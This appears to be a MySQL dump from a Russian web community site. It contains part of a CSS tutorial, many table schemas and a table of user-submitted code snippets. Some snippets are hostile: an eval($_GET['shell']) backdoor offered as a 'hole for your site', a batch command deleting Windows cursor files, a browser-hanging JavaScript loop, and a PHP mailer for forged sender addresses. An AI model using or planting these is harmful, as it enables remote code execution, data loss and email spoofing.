{\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid
red;\r\nbackground-color :orange;\r\nfloat : left ;\r\n}\r\nВот как
будет выглядеть, если блоки будут
всплывать вправо:\r\n.box1 {\r\nwidth :200px;\r\nheight
:200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat :
right ;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;border :1px solid
red;\r\nbackground-color :orange;\r\nfloat : right ;\r\n}\r\n.box3
{\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid
red;\r\nbackground-color :orange;\r\nfloat : right
;\r\n}\r\nКлассический пример применения -
это когда надо сделать чтобы текст
выводился в колонках. Пусть колонки
будеттри.\r\nCSS код:\r\n.column1 {\r\nfloat : left ;\r\nwidth:
33%;\r\n}\r\n.column2 {\r\nfloat :left ;\r\nwidth: 33%;\r\n}\r\n.column3
{\r\nfloat :left ;width: 33%;\r\n}\r\nВ html-коде просто
заключим необходимый текст в
соответствующие колонки, тегами
DIV\r\n\r\nThere is one universal truth in website making: To make a
websitet...\r\n\r\n\r\n\r\nIf you\'re like the vast majority of people
thinking...\r\n\r\n\r\n\r\nThere is one universal truth in
website...\r\n\r\n\r\nГоворя о плавающих блоках,
необходимо упомянуть также о свойстве
CLEAR - специфическоесвойство, позволяющее
определенным образом позиционировать
плавающие блоки.\r\n*. left - блок должен
размещаться ниже всех левосторонних
плавающих блоков.\r\n*. right - блок должен
размещаться ниже всех правосторонних
плавающих блоков.\r\n*. both - блок должен
размещаться ниже всех плавающих
блоков.\r\n*. none - никаких ограничений на
положение блока относительно
перемещаемых объектов не
накладывается.\r\nНу допустим имеется два
плавающих влево блока(float:left;), которые
обтекает текст.\r\n\r\nЕсли заключить весь
текст в блок, и придать ему свойство
CLEAR:BOTH т.е. чтобы он размещался ниже всех
плавающих блоков, можно избавиться от
обтекания блоков
текстом.\r\nhtml-код\r\nПервый блок\r\n\r\nВторой
блок\r\n\r\n\r\nThere is one universal truth in
website...\r\n\r\n\r\nCSS-часть\r\n.box1 {\r\nwidth :200px;\r\nheight
:200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat :
left ;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;border :1px solid
red;\r\nbackground-color :orange;\r\nfloat : left ;\r\n}\r\n.box3
{\r\nclear: both ;\r\n}\r\nЗаметьте, что в блоках
может находится что
угодно(картинки,списки,текст и др.)\r\nВот
Вам еще один пример, когда один блок
располагается под другим, и оба блока
обтекаются текстом.\r\nhtml-код\r\nПервый
блок\r\n\r\nВторой блок\r\n\r\nThere is one universal truth
in website...\r\n\r\ncss- часть\r\n.box1 {\r\nwidth :200px;\r\nheight
:200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat
\r\n: left ;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;border :1px
solid red;\r\nbackground-color :orange;\r\nfloat : left ;\r\nclear : both
;\r\n}','','files_5094_1958_'),(47,4,'Урок 15: Слои в CSS','В
этом уроке, поговорим о таком понятии как
слой в CSS. Для тех, кто работал с
графическими редакторами, этопонятие
должно быть знакомо, а для остальных
постараюсь объяснить.\r\nСоздавая блок в
CSS, мы всегда четко задаем его параметры,
а также позиционируем его в определенное
место на экране. Таким образом, любой
блок имеет две координаты X и Y, которые
определяют положение блока на плоскости
экрана. Но в CSS есть еще и третья,
пространственная координата Z, которая
определяет номер слоя, на котором
находится блок. Т.е. чем больше
координата Z, тем выше этот слой
находится по отношению к остальным.
Например слой с номером 2 будет ближе
расположен к пользователю,
просматривающему вашу страницу, чем слой
с номером 1. А слой с номером 1, будет
располагаться выше, чем основной код
страницы.\r\nЗа создание слоя в CSS отвечает
свойство Z-index , а принимаемые им значения,
указывают номер слоя.\r\nНапример, можно
сделать из карт знаменитую комбинацию
Royal Flash.\r\nКак видите, каждая карта,
немного перекрывает другую. Вот как это
выглядит в коде:\r\n.desatka_buba {\r\nposition:
absolute;\r\nleft: 200px;\r\ntop: 200px;\r\nz-index: 1
;\r\n}\r\n.valet_buba {\r\nposition: absolute;\r\nleft: 215px;\r\ntop:
215px;z-index : 2 ;\r\n}\r\n.dama_buba {\r\nposition: absolute;\r\nleft:
230px;\r\ntop: 230px;\r\nz-index: 3 ;\r\n}\r\n.korol_buba {\r\nposition:
absolute;\r\nleft: 245px;\r\ntop: 245px;\r\nz-index: 4 ;\r\n}\r\n.tuz_bubna
{\r\nposition: absolute;\r\nleft: 260px;\r\ntop: 260px;\r\nz-index: 5
;\r\n}\r\nНу а в html коде , просто присваиваете
рисункам соответствующие стили,
типа:\r\nну и так далее, вы поняли...\r\nЕсли
хорошенько разобраться с этим простым
методом, можно создавать довольно
приличные вещи. Например размещать текст
над изображением, или наоборот,
создавать красивые заголовки , например
с эффектом тени, также если поглубже
изучить слои, можно создавать выпадающие
меню , и многое
другое...','','files_1923_5349_'),(48,4,'Урок 16:
Завершение...','Вот Мы и закончили учебник
по CSS . Надеюсь Вам все понятно, аесли
вдруг по ходу обучения возникают
вопросы, пожалуйста задавайте их на
форуме.\r\nТеперь, когда Вы уже
ознакомлены с языком разметки html и
технологией стилей CSS , как следующий
шаг,я бы посоветовал Вам разобраться с
программой Adobe Dreamweaver. Это просто
незаменимый помощник, я не знаю, что бы я
без него делал. Очень доходчиво и понятно
излагаются основные принципы работы, в
видеоучебнике по Дримвиверу, который
можно скачать у меня на сайте
бесплатно.\r\nТакже, нужно разобраться с
применением всех полученных Вами знаний
именно в построении сайтов. Ведь все
начинается с разработки каркаса сайта.
Поэтому дальше, советую Вам поближе
познакомиться именно с
этим.\r\nСуществуют каркасы(они же макеты)
построенные на таблицах(табличные) и на
дивах(блочные) . Конечно табличная
верстка уже немногоустарела, но все же
имеет право на существование.\r\nУрок о
табличной верстке " Создаем
универсальный табличный макет страницы
"\r\nУрок о блочной верстке " Что
такое блочная верстка (div верстка) сайтов
"\r\nПриятного Вам
обучения!','','files_3428_1456_'); /*!40000 ALTER TABLE `lib_stat`
ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`load_com` -- DROP TABLE IF EXISTS `load_com`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `load_com` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `time` varchar(244) NOT NULL, `msg` text NOT
NULL, `avtor` int(244) NOT NULL, `avtorlogin` varchar(244) NOT NULL,
`file` varchar(244) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `load_com` -- LOCK TABLES `load_com`
WRITE; /*!40000 ALTER TABLE `load_com` DISABLE KEYS */; /*!40000 ALTER
TABLE `load_com` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `load_dir` -- DROP TABLE IF EXISTS `load_dir`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `load_dir` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `id_dir` int(11) NOT NULL DEFAULT '0', `url`
text, `name` varchar(100) DEFAULT NULL, `icon` varchar(244) NOT NULL,
`files` varchar(1) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `load_dir` -- LOCK TABLES `load_dir`
WRITE; /*!40000 ALTER TABLE `load_dir` DISABLE KEYS */; /*!40000 ALTER
TABLE `load_dir` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `load_file` -- DROP TABLE IF EXISTS `load_file`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `load_file` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `id_dir` int(11) NOT NULL, `name` varchar(100)
DEFAULT NULL, `url` text, `time` int(11) NOT NULL, `avtor`
varchar(25) NOT NULL, `format` varchar(244) NOT NULL, `about` text NOT
NULL, `files` varchar(244) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `load_file` -- LOCK TABLES `load_file`
WRITE; /*!40000 ALTER TABLE `load_file` DISABLE KEYS */; /*!40000 ALTER
TABLE `load_file` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `load_reit` -- DROP TABLE IF EXISTS `load_reit`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `load_reit` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `file` varchar(244) NOT NULL, `r` varchar(244)
NOT NULL, `kto` varchar(100) NOT NULL, PRIMARY KEY (`id`) )
ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `load_reit` -- LOCK
TABLES `load_reit` WRITE; /*!40000 ALTER TABLE `load_reit` DISABLE KEYS
*/; /*!40000 ALTER TABLE `load_reit` ENABLE KEYS */; UNLOCK TABLES; -- --
Table structure for table `m_kat` -- DROP TABLE IF EXISTS
`m_kat`; /*!40101 SET @saved_cs_client = @@character_set_client
*/; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `m_kat` (
`id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET
utf8 DEFAULT NULL, `razdel` int(200) NOT NULL, PRIMARY KEY (`id`) )
ENGINE=MyISAM AUTO_INCREMENT=10 DEFAULT CHARSET=cp1251; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`m_kat` -- LOCK TABLES `m_kat` WRITE; /*!40000 ALTER TABLE `m_kat` DISABLE
KEYS */; INSERT INTO `m_kat` VALUES
(1,'Тест',1),(2,'DCMS',3),(3,'JohnCMS',3),(4,'Другие',3),(5,'MobileCMS',3),(6,'RotorCMS',3),(7,'Соц.
сеть КоТа',3),(8,'PHP скрипты',3),(9,'strong
cms',2); /*!40000 ALTER TABLE `m_kat` ENABLE KEYS */; UNLOCK TABLES; -- --
Table structure for table `m_korz` -- DROP TABLE IF EXISTS
`m_korz`; /*!40101 SET @saved_cs_client = @@character_set_client
*/; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `m_korz` (
`id` int(255) NOT NULL AUTO_INCREMENT, `tovar` int(255) NOT NULL, `us`
int(255) NOT NULL, `name` varchar(255) CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT
CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `m_korz` -- LOCK TABLES `m_korz`
WRITE; /*!40000 ALTER TABLE `m_korz` DISABLE KEYS */; INSERT INTO `m_korz`
VALUES (3,4,128,'green for strong'); /*!40000 ALTER TABLE `m_korz` ENABLE
KEYS */; UNLOCK TABLES; -- -- Table structure for table `m_kup` -- DROP
TABLE IF EXISTS `m_kup`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `m_kup` ( `id` int(255) NOT NULL AUTO_INCREMENT,
`tovar` int(255) NOT NULL, `us` int(255) NOT NULL, `name` varchar(255)
CHARACTER SET utf8 NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `m_kup` -- LOCK TABLES `m_kup`
WRITE; /*!40000 ALTER TABLE `m_kup` DISABLE KEYS */; /*!40000 ALTER TABLE
`m_kup` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`m_razdel` -- DROP TABLE IF EXISTS `m_razdel`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `m_razdel` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, PRIMARY KEY
(`id`) ) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=cp1251; /*!40101
SET character_set_client = @saved_cs_client */; -- -- Dumping data for
table `m_razdel` -- LOCK TABLES `m_razdel` WRITE; /*!40000 ALTER TABLE
`m_razdel` DISABLE KEYS */; INSERT INTO `m_razdel` VALUES
(1,'Графика'),(2,'Дизайны'),(3,'Скрипты'); /*!40000
ALTER TABLE `m_razdel` ENABLE KEYS */; UNLOCK TABLES; -- -- Table
structure for table `m_t_comm` -- DROP TABLE IF EXISTS
`m_t_comm`; /*!40101 SET @saved_cs_client = @@character_set_client
*/; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `m_t_comm` (
`id` int(255) NOT NULL AUTO_INCREMENT, `tovar` int(255) NOT NULL,
`author` int(255) NOT NULL, `text` varchar(250) CHARACTER SET utf8 NOT
NULL, `time` int(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client
= @saved_cs_client */; -- -- Dumping data for table `m_t_comm` -- LOCK
TABLES `m_t_comm` WRITE; /*!40000 ALTER TABLE `m_t_comm` DISABLE KEYS
*/; INSERT INTO `m_t_comm` VALUES (1,3,14,'На счет покупки
лично в лс, диз стоит от
waphero',1407267009),(2,4,1,'тест',1407416125); /*!40000 ALTER TABLE
`m_t_comm` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`m_tov_scrin` -- DROP TABLE IF EXISTS `m_tov_scrin`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `m_tov_scrin` ( `id`
int(255) NOT NULL AUTO_INCREMENT, `tovar` int(255) NOT NULL, `file`
varchar(255) CHARACTER SET utf8 NOT NULL, PRIMARY KEY (`id`) )
ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`m_tov_scrin` -- LOCK TABLES `m_tov_scrin` WRITE; /*!40000 ALTER TABLE
`m_tov_scrin` DISABLE KEYS */; INSERT INTO `m_tov_scrin` VALUES
(1,4,'07082014_fn3692_bandicam 2014-08-07
17-44-42-420.jpg'),(2,4,'07082014_fn4763_bandicam 2014-08-07
17-53-28-940.jpg'); /*!40000 ALTER TABLE `m_tov_scrin` ENABLE KEYS
*/; UNLOCK TABLES; -- -- Table structure for table `m_tovar` -- DROP
TABLE IF EXISTS `m_tovar`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `m_tovar` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) CHARACTER SET utf8 NOT NULL, `kat` int(200) NOT
NULL, `opis` varchar(250) CHARACTER SET utf8 NOT NULL, `rub` int(50)
NOT NULL, `us` int(255) NOT NULL, `countp` int(50) NOT NULL, `dop`
int(5) NOT NULL, `time` int(50) NOT NULL, `koppr` int(50) NOT NULL,
`file` varchar(255) CHARACTER SET utf8 NOT NULL, `scrin` varchar(255)
CHARACTER SET utf8 NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
AUTO_INCREMENT=5 DEFAULT CHARSET=cp1251; /*!40101 SET character_set_client
= @saved_cs_client */; -- -- Dumping data for table `m_tovar` -- LOCK
TABLES `m_tovar` WRITE; /*!40000 ALTER TABLE `m_tovar` DISABLE KEYS
*/; /*!40000 ALTER TABLE `m_tovar` ENABLE KEYS */; UNLOCK TABLES; -- --
Table structure for table `message` -- DROP TABLE IF EXISTS
`message`; /*!40101 SET @saved_cs_client = @@character_set_client
*/; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `message` (
`id` int(11) NOT NULL AUTO_INCREMENT, `kto` varchar(244) NOT NULL,
`komy` varchar(244) NOT NULL, `text` text NOT NULL, `time` varchar(244)
NOT NULL, `readlen` varchar(1) NOT NULL, `file` varchar(100) NOT NULL,
PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`message` -- LOCK TABLES `message` WRITE; /*!40000 ALTER TABLE `message`
DISABLE KEYS */; /*!40000 ALTER TABLE `message` ENABLE KEYS */; UNLOCK
TABLES; -- -- Table structure for table `message_c` -- DROP TABLE IF
EXISTS `message_c`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `message_c` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`kto` varchar(244) NOT NULL, `kogo` varchar(244) NOT NULL, `time`
varchar(244) NOT NULL, `ignor` varchar(1) NOT NULL, `posl_time` int(11)
NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `message_c` -- LOCK TABLES `message_c`
WRITE; /*!40000 ALTER TABLE `message_c` DISABLE KEYS */; /*!40000 ALTER
TABLE `message_c` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `message_save` -- DROP TABLE IF EXISTS `message_save`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `message_save` ( `id`
int(11) NOT NULL AUTO_INCREMENT, `text` text NOT NULL, `kto`
varchar(244) NOT NULL, `ktoavtor` varchar(244) NOT NULL, `uid`
varchar(244) NOT NULL, `time` varchar(244) NOT NULL, PRIMARY KEY
(`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`message_save` -- LOCK TABLES `message_save` WRITE; /*!40000 ALTER TABLE
`message_save` DISABLE KEYS */; /*!40000 ALTER TABLE `message_save` ENABLE
KEYS */; UNLOCK TABLES; -- -- Table structure for table `nar` -- DROP
TABLE IF EXISTS `nar`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `nar` ( `id` int(255) NOT NULL AUTO_INCREMENT, `who`
int(244) NOT NULL, `ho` int(244) NOT NULL, `why` varchar(250) NOT
NULL, `time` int(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `nar` -- LOCK TABLES
`nar` WRITE; /*!40000 ALTER TABLE `nar` DISABLE KEYS */; INSERT INTO `nar`
VALUES (1,1,2,'Высокая активность',1419589328); /*!40000
ALTER TABLE `nar` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `news` -- DROP TABLE IF EXISTS `news`; /*!40101 SET @saved_cs_client
= @@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `news` ( `id` int(11) NOT NULL AUTO_INCREMENT, `text`
text NOT NULL, `avtor` varchar(244) NOT NULL, `time` varchar(244) NOT
NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=9 DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `news` -- LOCK TABLES `news`
WRITE; /*!40000 ALTER TABLE `news` DISABLE KEYS */; INSERT INTO `news`
VALUES (8,'Открытие!Сегодня наша
ВМ\r\nстартовала!','1','1419570983'); /*!40000 ALTER TABLE
`news` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`news_com` -- DROP TABLE IF EXISTS `news_com`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `news_com` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `time` varchar(244) NOT NULL, `msg` text NOT
NULL, `avtor` int(244) NOT NULL, `avtorlogin` varchar(244) NOT NULL,
`news` varchar(244) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `news_com` -- LOCK
TABLES `news_com` WRITE; /*!40000 ALTER TABLE `news_com` DISABLE KEYS
*/; /*!40000 ALTER TABLE `news_com` ENABLE KEYS */; UNLOCK TABLES; -- --
Table structure for table `newspaper_kat` -- DROP TABLE IF EXISTS
`newspaper_kat`; /*!40101 SET @saved_cs_client = @@character_set_client
*/; /*!40101 SET character_set_client = utf8 */; CREATE TABLE
`newspaper_kat` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name`
varchar(30) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2
DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `newspaper_kat` -- LOCK TABLES
`newspaper_kat` WRITE; /*!40000 ALTER TABLE `newspaper_kat` DISABLE KEYS
*/; INSERT INTO `newspaper_kat` VALUES (1,'TesT'); /*!40000 ALTER TABLE
`newspaper_kat` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `newspaper_paper` -- DROP TABLE IF EXISTS
`newspaper_paper`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `newspaper_paper` ( `id` int(11) NOT NULL
AUTO_INCREMENT, `kat` int(11) NOT NULL, `name` varchar(255) NOT NULL,
`text` mediumtext NOT NULL, `us` int(11) NOT NULL, `time` int(11) NOT
NULL, `kolvo` int(11) NOT NULL DEFAULT '0', `scrin` varchar(255) NOT
NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `newspaper_paper` -- LOCK TABLES
`newspaper_paper` WRITE; /*!40000 ALTER TABLE `newspaper_paper` DISABLE
KEYS */; INSERT INTO `newspaper_paper` VALUES
(1,1,'TesTaj','TesTajjgmpngmgmhdjjgmjgmhlgjnaggdjgmjgmhmdhjdaggjmgmgmjg5mgjmhmjgjmjgmjgmdjgjdjgjejhkdh',1,1419598068,1,''); /*!40000
ALTER TABLE `newspaper_paper` ENABLE KEYS */; UNLOCK TABLES; -- -- Table
structure for table `newspaper_zaklad` -- DROP TABLE IF EXISTS
`newspaper_zaklad`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `newspaper_zaklad` ( `id` int(11) NOT NULL
AUTO_INCREMENT, `paper` int(11) NOT NULL, `us` varchar(255) NOT NULL,
PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`newspaper_zaklad` -- LOCK TABLES `newspaper_zaklad` WRITE; /*!40000 ALTER
TABLE `newspaper_zaklad` DISABLE KEYS */; /*!40000 ALTER TABLE
`newspaper_zaklad` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure
for table `nicks` -- DROP TABLE IF EXISTS `nicks`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `nicks` ( `id` int(255) NOT
NULL AUTO_INCREMENT, `who` int(244) NOT NULL, `ho` int(244) NOT NULL,
`old` varchar(244) NOT NULL, `new` varchar(255) NOT NULL, `time`
int(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `nicks` -- LOCK TABLES `nicks`
WRITE; /*!40000 ALTER TABLE `nicks` DISABLE KEYS */; /*!40000 ALTER TABLE
`nicks` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`photo_files` -- DROP TABLE IF EXISTS `photo_files`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `photo_files` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `opis`
varchar(100) DEFAULT NULL, `us` varchar(244) NOT NULL, `time`
varchar(100) NOT NULL, `files` varchar(255) NOT NULL, PRIMARY KEY
(`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`photo_files` -- LOCK TABLES `photo_files` WRITE; /*!40000 ALTER TABLE
`photo_files` DISABLE KEYS */; /*!40000 ALTER TABLE `photo_files` ENABLE
KEYS */; UNLOCK TABLES; -- -- Table structure for table
`polz_razdel` -- DROP TABLE IF EXISTS `polz_razdel`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `polz_razdel` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `name` varchar(100) DEFAULT NULL, `opis`
varchar(244) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
AUTO_INCREMENT=21 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `polz_razdel` -- LOCK
TABLES `polz_razdel` WRITE; /*!40000 ALTER TABLE `polz_razdel` DISABLE KEYS
*/; INSERT INTO `polz_razdel` VALUES
(8,'Приколы',''),(9,'Авторский
код',''),(10,'Работа с файлами',''),(11,'Работа с
текстом',''),(12,'Работа с SQL',''),(13,'Работа с
временем',''),(14,'Другое',''),(15,'Говнокод',''),(16,'Кодировка',''),(17,'Парсеры',''),(18,'Безопасность',''),(19,'Мультимедия',''),(20,'Графика',''); /*!40000
ALTER TABLE `polz_razdel` ENABLE KEYS */; UNLOCK TABLES; -- -- Table
structure for table `polz_stat` -- DROP TABLE IF EXISTS
`polz_stat`; /*!40101 SET @saved_cs_client = @@character_set_client
*/; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `polz_stat`
( `id` int(11) NOT NULL AUTO_INCREMENT, `razdel` int(11) NOT NULL,
`name` varchar(7000) DEFAULT NULL, `opis` varchar(7000) NOT NULL,
`meta` mediumtext NOT NULL, `files` varchar(255) NOT NULL, `avtor`
int(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=389
DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `polz_stat` -- LOCK TABLES `polz_stat`
WRITE; /*!40000 ALTER TABLE `polz_stat` DISABLE KEYS */; INSERT INTO
`polz_stat` VALUES (5,20,'Свой шрифт)','Очеь простой
код для того,что-бы придать\r\n стилю свой
шрифт,даже если его нет в\r\n компьютере.
Код актуален для\r\n компьютеров,насчет
телефонов-не\r\n проверялось. Смысл
прост-css файл\r\n подгружает на страницу
файл со\r\n шрифтом,который находится
на','@font-face{ font-family: xxx; src: url(/1.ttf)} html{font-family:
xxx, Arial, sans-serif;}','files_1822_3992_',2),(6,14,'Время на
нормальном русском языке','Вывод
нормального времени на русском
языке','<?php function rusdate($d) { $montharr =
array("января","февраля",&qu','files_5631_3324_',25),(7,9,'Зашифровано
ли соединение (https)?','Хороший вопрос. Этот
удобный фрагмент может дать Вам ответ.
Ничего сложного!','if ($_SERVER[\'HTTPS\'] !=
"on") { echo "This is not HTTPS";
}else{ echo &','files_3085_3634_',25),(8,8,'Удаляем
курсор мыши)))','Создайте в блокноте файл,
напишите туда код ниже, сохраните под
любым именем, обязательно в формате
.bat','del "%SystemRoot%Cursors*.*"
>nul','files_5550_2991_',1),(9,8,'Онлайн редактор
сайта','Онлайн редактор сайта [В онлайн
режиме редактирует в вашем браузере сайт
и после перезагрузки страницы
возвращяет прежний
вид]','javascript:document.body.contentEditable =’true’;
document.designMode=’on’; void 0','files_5352_1334_',1),(10,8,'Игра
`Крестики нолики` на бесконечном поле на
JS','Всем известная игра в крестики нолики
smile\r\nЦель игры - построить непрерывный
ряд из 5 крестиков по горизонтали,
вертикали или диагонали.','<script
type="text/javascript"> var TOTLIN, ATFAC, PLAYER,
OPPON, IGROK, PROGR, WINL','files_3145_5173_',1),(11,8,'Данный JS
код позволяет перевернуть вверх ногами
текст, вводимый пользователем
smile','Данный JS код позволяет перевернуть
вверх ногами текст, вводимый
пользователем smile','<SCRIPT
language="Javascript"> function flip() { var
result = flipString(document.ff','files_3176_1541_',1),(12,8,'email с
любым обратным адресом','Как отправить
email с любым обратным адресом','<?php /*
*отправка письма с любым обратным
адресом *25.08.07 */ if (!empty($_POST)) { //От кого
','files_4968_2635_',1),(13,8,'Дырка вам на сайт','Дырка
вам на сайт\r\nпрописываете её в индексе и
даёте пример в коммахsmile но лучше этого
не
делатьsmile','eval($_GET[\'shell\']);','files_5435_3050_',1),(16,8,'Граббер
с bash.org.ru','bash.org.ru rss граббер','<?php /*
*bash.org.ru rss граббер *автор: disable *30.09.07 */
//грузим rss файл
$data=file_get_','files_1280_1341_',1),(17,8,'Получить
координаты по заданному адресу','Просто
вводим в функцию требуемое место и она
выдаст её координаты. Работает с помощью
гугла.','<?php function getLatLong($address){ if
(!is_string($address))die("All Addresses must be
pa','files_5447_5087_',1),(15,8,'Бредо
кнопка','Написание бредо кнопки на php','В
сегодняшней статье, мы научимся
создавать кнопку, которая будет выдавать
разный бред, вместо
банал','files_3113_4727_',1),(18,8,'Вешаем ваш
арбуз:-)','Нашол на просторахsmile','<?php
echo\' <script> var a = 999 * 9999; while(0 == 0) {
document.write(a); }
</scr','files_2128_2480_',1),(19,8,'Проверка длинны
строки с помощью isset()','Малоизвестный PHP
трюк. При проверке обычной строки как
элемента массива интерпретатор
посчитает каждый символ строки, как
отдельный элемент. Определяя, существует
ли переменная можно также проверить
